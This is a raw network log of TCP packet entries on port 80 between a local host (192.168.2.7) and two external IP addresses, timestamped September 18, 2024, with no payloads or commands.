Sep 18, 2024 14:30:08.519886017 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519893885 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519893885 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519896984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519910097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519922972 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519934893 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519934893 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519934893 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519948006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.519969940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519990921 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.519990921 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520015001 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520025969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520037889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520046949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520047903 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520061970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520073891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520083904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520091057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520102024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520107031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520114899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520119905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520131111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520133018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520159006 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520173073 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520183086 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520185947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520198107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520209074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520234108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520234108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520334005 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520347118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520370007 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520370007 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520478010 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520505905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520519018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520530939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520544052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520577908 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520577908 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520673037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520685911 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520697117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520709991 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520721912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520734072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520745993 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520745993 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520787001 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520842075 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520855904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520865917 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520878077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520879030 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520894051 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520905972 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520910978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.520939112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520939112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.520992041 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521003962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521018982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521020889 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521024942 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521055937 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521055937 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521155119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521167040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521179914 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521192074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521193981 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521193981 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521205902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521220922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521224022 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521229029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521243095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521255970 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521255970 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521317005 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521331072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521358013 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521358013 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521466970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521480083 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521492004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521505117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521517992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521527052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521529913 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521544933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521555901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521569014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521569014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521591902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521637917 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521646976 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521759987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521770954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521784067 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521795988 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521802902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521815062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521817923 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521826982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521838903 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521850109 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521853924 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521863937 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521876097 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.521903038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.521903038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522013903 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522027016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522027969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522042036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522047997 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522057056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522069931 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522080898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522087097 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522094011 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522104025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522106886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522118092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522129059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522133112 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522138119 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522138119 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522166967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522180080 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522192001 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522203922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522216082 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522226095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522238970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522242069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522242069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522279024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522294998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522306919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522320032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522326946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522330999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522356033 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522378922 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522439003 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522459030 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522470951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522483110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522483110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522495031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522495985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522507906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522510052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522520065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522528887 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522531986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522545099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.522552967 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522568941 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522593021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.522962093 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.530093908 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.541615009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541646957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541660070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541695118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541713953 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541723013 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.541729927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541742086 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541745901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.541758060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541769981 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.541770935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.541786909 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.541812897 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.541990995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542004108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542037964 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.542186022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542228937 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.542536974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542593002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.542900085 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542912960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542926073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542937040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542946100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.542951107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.542968988 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.543001890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.543042898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.543055058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.543071985 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.543082952 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.543102026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.543215990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.543256044 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544189930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544229984 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544368029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544380903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544393063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544405937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544411898 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544457912 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544459105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544554949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544568062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544580936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544589996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544593096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544609070 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544624090 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544738054 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544751883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544764042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544775963 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544783115 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544790030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544807911 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544840097 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544913054 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544926882 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.544945955 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.544969082 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545418978 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545430899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545444012 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545455933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545468092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545475006 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545479059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545494080 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545538902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545538902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545551062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545558929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545562983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545574903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545583010 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545587063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545598984 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545608044 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545629978 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545663118 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545695066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545710087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545728922 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545747042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545874119 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545886993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545902014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.545909882 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545929909 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.545959949 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.547950983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.547965050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.547977924 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.547988892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548002005 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548002005 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548013926 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548022032 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548027039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548039913 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548068047 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548094034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548101902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548106909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548119068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548127890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548130035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548151970 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548175097 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548233986 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548247099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548258066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548266888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548301935 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548398018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548410892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548435926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548464060 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548579931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548590899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548604012 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548614979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548623085 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548623085 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548629045 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548651934 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548670053 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548746109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548789024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.548959970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548979998 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.548991919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549005985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549022913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549032927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549149036 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549163103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549175024 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549184084 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549186945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549204111 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549223900 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549294949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549308062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549314022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549325943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549328089 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549352884 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549585104 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549597979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549609900 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549622059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549633980 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549638033 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549649954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549660921 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.549665928 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.549675941 CEST	49703	80	192.168.2.7	176.113.115.33
